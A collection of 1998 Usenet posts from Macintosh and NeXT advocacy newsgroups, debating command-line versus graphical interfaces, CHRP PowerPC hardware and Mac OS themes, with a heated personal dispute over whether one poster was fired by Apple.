References: <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net> <6t9kb8$f29$3@news.mxol.com> <35F85D52.45E77BB@ericsson.com> <6tbjft$hq4$1@news.mxol.com> <heaney-1109981353290001@24.0.246.137> <6tbtqt$i96$2@news.mxol.com> <heaney-1109981609060001@24.0.246.137>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
John Heaney <heaney@SolidObject.com> wrote:
> In article <6tbtqt$i96$2@news.mxol.com>, "Charles W. Swiger"
> <chuck@codefab.com> wrote:
> > I do not consider the text-drawn "dialog boxes" in something like MS-DOS
> > edit to make that program GUI. I also don't consider the "menu bar" in
> > emacs-20 running in a terminal (like an xterm) to make that program GUI,
> > although emacs running as a standalone X client is a GUI program.
>
> In that case, I'm glad you brought it up. I consider vi to use a CLI
> because you actually type in commands to process your text. I consider
> emacs to be a menu driven application, which is a crude precursor to the
> GUI. The difference between emacs and vi is that emacs provides visual
> cues for all the commands. and you have immediate visual feedback as to
> what you just did. You don't have to request to see a block of text
> redrawn.
IIRC vi stands for something like Visual Interface to ed(?). As in one
step above CLI.
Lars T.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: Sun, 13 Sep 1998 17:17:50 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1309981717510001@sdn-ar-001casbarp290.dialsprint.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net> <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net> <35fe248d.7800286@news2.new-york.net> <macghod-1209982122420001@sdn-ar-002casbarp281.dialsprint.net> <1dfb0k2.13xyl2zjvqy16N@pppsl1035.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dfb0k2.13xyl2zjvqy16N@pppsl1035.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> Steve Sullivan <macghod@concentric.net> wrote:
>
> > In article <35fe248d.7800286@news2.new-york.net>, see.sig@for.address wrote:
> >
> > > >The evidence that you were fired by Apple is clear. When Jay posted
> > > >that information, you gave an intense reaction to his claim that you
> > > >live in Washington, but completely ignored his claim that you are a
> > > >fired Apple contractor.
> >
> > And this is a lie! On the SAME DAY Jay made this claim I explicitly
> > stated that it was untrue.
>
> You had to go back to look at what you said. You asked me several
> times since then to tell you who had told me that Apple fired you. You
> must be having memory problems again. You can't keep track of your lies
> any more. Give it up. Tell us why Apple fired you.
>
> >
> > > The state that you live in is a trivial
> > > >matter, a non-issue, but being fired as an Apple contractor is a serious
> > > >charge. Yet you ignored the serious, and focused on the trivial.
> > > >Therefore you hoped to distract others from the real, serious issue.
> > >
> > > In other words: you have no evidence. Give it a rest, Anton.
> >
> > Not only that, but he is also FlAT OUT LIEING.
>
> Really? How does one go about FIAT OUT LIEING? Is that English?
You got me good, I have been spelling lying incorrectly.
>
> > I did not ignore the
> > serious. On the same day he posted that I flat out said it was
> > incorrect.
>
> And asked who told me that afterwards. Why did you ask if you knew?
I knew that Jay had made the false claim, I was giving him the benefit of
the doubt as far as you were concerned.
> > In fact I probably said it more than once.
>
> With your faulty memory, you have no way to keep track of your bogus
> stories.
Really? Which bogus stories? The only thing I have trouble keeping track
of is edwin thorne/macsbug/cybernaught/anton
> > I know for a fact
> > I said it was WRONG several times within a few days after he posted that
> > (and you kept on repeating the slanderous lie). For instance,
> > http://x9.dejanews.com/getdoc.xp?AN=386109925&CONTEXT=905660183.887947320&
> > hitnum=2
> >
> > In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
> > guess@it.spammer (Cybernaught) wrote:
> >
> > > > OH, he posts 3 things in that article which are all false, and you think
> > > > he nailed me? I have never lived in washington, I was never fired from
> > > > apple, and he has various times said imacs are faster than p2
400's, which
> > > > only occurs in his dreams.
> > >
> > > I said that he nailed you on the first two, and I asked why you threw in
> > > the third. You mentioned the P2 400's, not Jay. Of course the reason
> > > that you did it is obvious. You want to divert attention away from the
> > > way that Jay nailed you.
> >
> > Except for the fact that
> > 1) I DONT live in washington (DUH!!)
> > 2) I wasnt fired from apple.
> >
> > SO I guess he did nail me, except for the fact that everything he said was
> > false
> >
> > <end paste>
>
> Sure, let's forget all the other threads where I asked why you didn't
> address the issue, with no response from you, and where you asked me
> where I got that information.
If the good people of these newsgroups count ALL the times I said flat out
that it was incorrect that I was ever fired as a contractor for Apple, I
am sure they will tell you I made the claim more than enough times. I
flat out said it was false TWICE the same day, and you STILL make the
claim that I ignored the claim till way afterwards.
PS to CSMA and CSNA people:
Does anyone give any credence to this cybernought/anton/macsbug/Edwin
thorne character? If their are such people I will continue replying, but
with all of my posting concrete examples that refute what he says (such as
he says I ignored the claim till way afterwards, and I post the url to see
my posts the same day refuting the claim.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: Sun, 13 Sep 1998 17:25:24 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1309981725240001@sdn-ar-001casbarp290.dialsprint.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net> <1df8ehp.1vdfs4g1wfsl5qN@pppsl889.chicagonet.net> <macghod-1209982029250001@sdn-ar-001casbarp057.dialsprint.net> <1dfb0wl.15gsnwy3pwyzrN@pppsl1035.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dfb0wl.15gsnwy3pwyzrN@pppsl1035.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> > You lie. And I bet you cant show these posts where I ignored this. Here
> > is one many posts where I told him the validity of his claim:
> >
> > (http://x9.dejanews.com/getdoc.xp?AN=386109925&CONTEXT=905656684.8070103
> > 21&hitnum=2)
>
> You can't fight it or deflect it no matter what you do, and the louder
> and angrier you become, the more obvious it becomes that it is true that
> you were fired as an Apple contractor. You see, there is really no
> shame in being fired as an Apple contractor. Apple eliminated many of
> their contractors when they down-sized. Of course someone who was
> fired for another reason wouldn't know this.
These contractors were NOT fired, they were laid off. Their is a
difference between being laid off and being fired. To be fired their has
to be a cause. To be laid off their doesnt have to be a cause.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: Sun, 13 Sep 1998 17:21:46 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1309981721460001@sdn-ar-001casbarp290.dialsprint.net>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <6sugka$b5c@web.nmti.com> <1deywx0.ht82vzj3mok7N@pppsl816.chicagonet.net> <macghod-0709981246450001@sdn-ar-002casbarp275.dialsprint.net> <1df27ed.ptdeja1t2m0tbN@pppsl1026.chicagonet.net> <macghod-0809982307510001@sdn-ar-001casbarp116.dialsprint.net> <1dfb1sy.1pfzaxkixtvqaN@pppsl1035.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dfb1sy.1pfzaxkixtvqaN@pppsl1035.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> > > > just because it is in the catalogue doesnt mean its out. Did you call
> > > > macconnection to see if it was out yet?
> > > > These same catalogues also listed Morotola g3 clones for sale, even tho
> > > > these never came out.
> > >
> > > There is nothing in the MacConnection catalog that is not for sale at
> > > the time that it appears. Please don't resort to lying.
> >
> > So its a lie that these catalogs had the motorola g3's in them? Did you
> > call macconnection to see if it is in stock?
>
> No, I didn't. But everything else I've ordered out of the catalog has
> been in stock. Why shouldn't I expect this to be the same?
Fine, expect it to be the same. But dont call me a(he deleted this line
in the original article) liar when I ASK you if you verified that it was
in stock. I gave a example, the motorola g3, that was in macconnection
even tho it was not in.
Right afterwards *I* called macconnection, and they have not received any
of the usb ls-120's, and told me that it wont be in till sept 29th.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-1209981733180001@10.0.1.99>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net>
Date: 12 Sep 1998 17:25:34 -0500
Organization: OneNet Communications News Hub
In article <3606c258.9974230@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> smileyy@ix.netcom.com (Andrew McCormick) wrote:
>
> >In article <3602aab0.3916641@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> >
> >>"Wayne Fellows" <wfellows@*stop_spam*earthlink.net> wrote:
> >>
> >>>On Wed, Sep 9, 1998 1:34 PM, vapor <mailto:antwun@yahoo.com> wrote:
> >>>>>Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
> >>>>>come to market. I would probably become an OS/2 user.
> >>>
> >>>>Interesting, I haven't heard about this. The problem is, Jobs would
> >>>>never let this system become available from Mac users. I wonder if IBM
> >>>>is considering marketing PPC based OS/2 boxes aimed at the home
> >>>>market?
> >>>
> >>>He wouldn't have a choice, anyone can market an OS for the Mac. All the
> >>>info nescessary is available to the public.
> >>>
> >>
> >>Try it and see what happens. Apple would have IBM in court so fast it
> >>would make your head spin.
> >
> >Apple wouldn't even bother suing. They'd just break support for the OS
> >with each motherboard revision.
>
> Jesus, and they say Microsoft uses monopolistic tactics. Do you agree
> with what Steve "oops, your license is no good" Jobs did to the clone
> manufacturers? Look, happy boy, I'll make this short and sweet. If
> Apple doesn't open their architecture to the computer market they
> *will* die. No ifs, ands, or buts about it. If they would have done
> this in the first place they would be on a equal footing with
> Microshaft instead of struggling to keep their head above water.
>
> --
> vapor
Sad but true. The CHRP movement will be interesting. You can buy a PPC
machine and choose your OS without having to worry about what Apple does.
I hope it gets huge and forces Apple to change their thinking. Actually,
it sounds like Apple is trying to play Gate's game, which you can't do
with 5% market share.
--
To reply, replace "no-spam" with "mottbi"
Date: Sat, 12 Sep 1998 21:25:48 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1209982125480001@elk48.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99>
In article <no-spam-1209981938180001@10.0.1.99>, no-spam@one.net
(MojiDoji) wrote:
> In article <joe.ragosta-1209981833280001@elk75.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <no-spam-1209981733180001@10.0.1.99>, no-spam@one.net
> > (MojiDoji) wrote:
> >
> > > Sad but true. The CHRP movement will be interesting. You can buy a PPC
> > > machine and choose your OS without having to worry about what Apple does.
> > > I hope it gets huge and forces Apple to change their thinking. Actually,
> > > it sounds like Apple is trying to play Gate's game, which you can't do
> > > with 5% market share.
> >
> > I had to check the date of your post to make sure that this one hadn't sat
> > in Cyberspace for a few months.
> >
> > CHRP is dead. You will probably never be able to buy a CHRP computer.
> >
> > I agree that it's unfortunate. But it won't happen.
> >
>
> Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
> CHRP machines. Not to mention what you can put together yourself. CHRP
> isn't dead, Apple just doesn't want to freak out the Mac users by
> introducing something that won't affect what they do.
>
I forgot about PIOS. As for LinuxPPC.org, I wasn't aware that they were
selling CHRP machines. Do you have a URL?
But you can't buy a motherboard anywhere that I know of.
BTW, even if you can buy a computer that meets the CHRP spec from PIOS,
CHRP is still dead. None of the major OSs will run on it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <lpFK1.450$k5.534245@newsfeed.slurp.net>
Date: Sat, 12 Sep 1998 18:38:02 +0100
NNTP-Posting-Date: Sat, 12 Sep 1998 20:41:37 CDT
Organization: Slurp News Feeds
Joe Ragosta wrote in message ...
>Be's just using Apple as a scapegoat to cover their lack of interest or
>incompetence.
Well... that could be. Software companies do this with Microsoft all the
time.
I once called Steinberg and asked them why Cubase only supported 8 audio
tracks (since has changed to 32), and they told me "it's a limitation of
Windows." Then I walked into the store to see that Cakewalk was offering
"unlimited" audio tracks.
This is "really" common with Windows software, because everyone knows "if
you say it's MS's fault they will believe you."
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <35f98826.58068014@newshost.cc.utexas.edu> <6tcvpr$rs0$1@news5.ispnews.com> <UiuK1.1165$D%1.1461501@newsfeed.slurp.net> <35fcb618.1060105@newshost.cc.utexas.edu>
Subject: Re: What we need from Mac OSuX
Message-ID: <npFK1.451$k5.534245@newsfeed.slurp.net>
Date: Sat, 12 Sep 1998 18:39:58 +0100
NNTP-Posting-Date: Sat, 12 Sep 1998 20:41:39 CDT
Organization: Slurp News Feeds
Ben Turner wrote in message <35fcb618.1060105@newshost.cc.utexas.edu>...
>> If you have IE 4 installed on either Win95
>> or NT 4.0, you see the folders you dragged
>> to the Recycle Bin, in the Recycle Bin.
>> Same with Win98.
>
>I'm using Win95 and IE 4. I don't see folders.
Maybe you didn't choose the "full install" with IE 4..?
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2>
Subject: Re: What we need from Mac OSuX
Message-ID: <ipFK1.449$k5.534245@newsfeed.slurp.net>
Date: Sat, 12 Sep 1998 18:32:43 +0100
NNTP-Posting-Date: Sat, 12 Sep 1998 20:41:34 CDT
Organization: Slurp News Feeds
Andrew McCormick wrote in message ...
>Apple wouldn't even bother suing. They'd just break support for the OS
>with each motherboard revision. See BeOS for the precedent.
Steve Jobs makes Bill Gates look like an angel.
Dan
From: jesse@mira.net (Greg McPherson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 14 Sep 1998 11:15:40 +1000
Organization: Seismology Research Centre
Message-ID: <jesse-ya02408000R1409981115400001@news.latrobe.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F8BDF2.62A819DE@nstar.net>
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NNTP-Posting-Date: 14 Sep 1998 01:15:52 GMT
> Humor aside, users have been taught to use GUIs, period. I don't think
> anyone can say "CLIs are too hard for most users" or "Users don't want
> CLIs", since nobody really knows whether or not this is true. Nobody
> seems willing to give it a try. Everyone has an automatic answer.
Ummm, well you could have a look at users with Windows 95.
They have a CLI there, if they choose to use it.
From my experience, if you have to use DOS in Windows, then the programmer
has taken a lazy way out (unless it is an old program).
Dropping down to DOS is not a welcome experience to the casual user.
In UNIX, X provides such a weak GUI, (not even a full GUI, it's just a
windowing system) that the user is forced to interact with the system via
XTerm windows and copnfiguring Text files. The myth of the power of a
CLI is reinforced by the lack of a decent GUI alternative.
When a decent GUI is provided for UNIX, as with NeXT/Rhap/MacOS Server,
then CLI usage drops away fast.
From: no.one@home.com (damaged goods)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Date: 13 Sep 1998 14:57:51 GMT
Organization: AT&T WorldNet Services
Message-ID: <no.one-1309981058190001@171.new-york-18-19rs.ny.dial-access.att.net>
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169> <arlo-1109981643450001@cm40133.cableco-op.com> <joe.ragosta-1209980639080001@elk79.dol.net> <MwtK1.5375$KK4.12768704@news.san.rr.com>
In article <MwtK1.5375$KK4.12768704@news.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <arlo-1109981643450001@cm40133.cableco-op.com>,
> >arlo@rcontinuum.com (Arlo Rose) wrote:
> >>
> >> If you want switchable appearances under 8.5 with almost no patching,
> look
> >> for the next release of Kaleidoscope. Our 8.5 engine runs straight off
> the
> >> Appearance 1.1 APIs.
> >>
> >Let me make sure I understand this.
> >
> >If you have Mac OS 8.5 installed on your machine, Kaleidoscope uses the
> >Appearance APIs? Fully?
>
>
> AFAIK, they are used on any system with Appearance installed (7.x-8.x) where
> applicable, however, K continues to go beyond Apple's efforts by patching
> certain applications which leads to a more consistant look across the system
> even with non-Appearance savvy applications. Neither Appearance nor K can
> patch all applications to take on the current theme look-and-feel.
>
The problem is that kaleidoscope does this to such an extent that the
windows of an application I use to make a living become grey (or whatever
colour the the window is, makes kaleidoscope usable). This does not happen
with OS8.5 themes. So if kaleidoscope only has minimal patches to OS8.5
Appearance it might be usable - which would be nice!
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 01:03:08 +1000
Organization: University of Queensland
Message-ID: <6tgmn9$jmh$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com>
T. Max Devlin <mdevlin@eltrax.com> wrote in message
35fa4488.11961504@news.supernews.com...
>"Christopher Smith" <drsmithy@usa.net>, on Tue, 8 Sep 1998 09:26:18
> [...]
>>Obviously - but trying to say a car is made up of thousands of components
>>and a computer of ~10 is just plain stupid.
>
>A car is made up of thousands of INTERCHANGEABLE *mechanical*
>components. A computer is made up of ~10 INTERCHANGEABLE
>*electronic* components.
With that redefinition, I concur.
>
>Insisting over and over that a car is like a computer, just because
>you like the analogy, regardless of how many times it is pointed out
>how stupid the analogy is, is....
>
>not smart.
In many ways they are similar. In many ways they *should* be similar.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 01:36:55 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35fc7259.1820835@news.supernews.com>
References: <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au>
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"Christopher Smith" <drsmithy@usa.net>, on Mon, 14 Sep 1998 01:03:08
>T. Max Devlin <mdevlin@eltrax.com> wrote in message
>35fa4488.11961504@news.supernews.com...
>>"Christopher Smith" <drsmithy@usa.net>, on Tue, 8 Sep 1998 09:26:18
>> [...]
>>>Obviously - but trying to say a car is made up of thousands of components
>>>and a computer of ~10 is just plain stupid.
>>
>>A car is made up of thousands of INTERCHANGEABLE *mechanical*
>>components. A computer is made up of ~10 INTERCHANGEABLE
>>*electronic* components.
>
>With that redefinition, I concur.
>
>>Insisting over and over that a car is like a computer, just because
>>you like the analogy, regardless of how many times it is pointed out
>>how stupid the analogy is, is....
>>
>>not smart.
>
>In many ways they are similar. In many ways they *should* be similar.
At the risk of sounding contentious, I would submit that in no way
are they similar, and in no way should they be similar, beyond the
passing resemblance described above: they are both physical
assemblies of components.
Not even the vaguely similar resemblance between, say, a TV and a
radio, or a microwave and a lightbulb, or a horse and a motorcycle,
for that matter joins a car and a computer.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 01:39:22 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35fd738b.2127351@news.supernews.com>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au>
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"Christopher Smith" <drsmithy@usa.net>, on Mon, 14 Sep 1998 05:00:25
>>>CJH <ifmtrx@inficad.com> wrote in message 35FBAA84.F5B8CE84@inficad.com...
>>>Christopher Smith wrote:
>>>>Insisting over and over that a car is like a computer, just because
>>>>you like the analogy, regardless of how many times it is pointed out
>>>>how stupid the analogy is, is....
>>>>
>>>>not smart.
>>>In many ways they are similar. In many ways they *should* be similar.
>>My operational needs for both are similar... perform their functions
>WITHOUT requiring frequent attention in their design, construction and
>>maintenance! For those who have the time and enjoy "tinkering," both offer
>tremendous enjoyment! A cab driver doesn't want or have time to >be a
>mechanic!
>
>Try to convince Max that :).
I don't think there is a cab driver existent that does not know how
to pump gas and check his oil.
From: jesse@mira.net (Greg McPherson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 14 Sep 1998 12:02:21 +1000
Organization: Seismology Research Centre
Message-ID: <jesse-ya02408000R1409981202210001@news.latrobe.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <heaney-1109981251420001@24.0.246.137> <x7k93ay1ss.fsf@loathe.com>
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NNTP-Posting-Date: 14 Sep 1998 02:02:35 GMT
> Macs do not have any of these possibilities.
Does not NEED a CLI for repairs.
I'm don't know why a CLI is required to repair a faulty system.
> So while I
> like the MacOS UI, it is a blackbox which I cannot get inside of, and for
> those reasons, I refuse to buy one. Adding a shell window to MacOS X isn't
> going to hurt anyone. Infact, you could even call it "system debugger" or
> "UNIX command window". It could have its own special scary icon so that
> revoltingly stupid imbecile's would know to not click on it unless they were
> on the phone with their apple tech support rep, who via a few simple
> commands would be able to diagnose exactly what was wrong with a machine, tell
> them exactly what to type to fix it, and then tell them to click "exit" on
> the terminal app. And then they'd be so mystified that there was this all
> powerful interface to their computer.
... and once you leave they will still be mystified.
"How the hell did he do that? He rattled off a bunch of commands, damned if I
can remember them."
It's much simpler to point our a missing extension, or a checkbox that hasn't
been checked.
> Hell, they might even bother to learn
> UNIX and be that much better off. And then tech support costs go down,
> users get smarter, and machines get more reliable.
Users start messing with all those UNIX text config files, get the system
in a right proper mess.
I suck at UNIX. I know this because I've just spent 2 days trying to get a
CD-ROM working under Linux, and delved into fstab, and a host of .conf
files. Gimme an extension and a control panel anyday. I know it wil be easy
once I understand all the ins and outs of UNIX, but it's alot more work than
nessessary, and it sure as hell looks like one huge hack. It might have
been needed when you looked at the machine thru a VT100, but the world's
moved on to better, easier things now.
> Howbout that ?
> I grew up on apple II machines. I didn't buy a macintosh because there was
> no way to get out of the fucking GUI. I wanted my basic interpreter.
> People like GUIs, but people hate GUIs when they fuck up. Win95, NT, and
MacOS
> fuck up consistantly. NeXTSTEP and your X based workstations fuck up far
less,
> but when they do, its a fixable problem (fixable != REBOOT). Separation of
> GUI and Operating system is a must. I've never heard of an argument for
> binding themtogether, nor have I met someone foolish to try and formulate one.
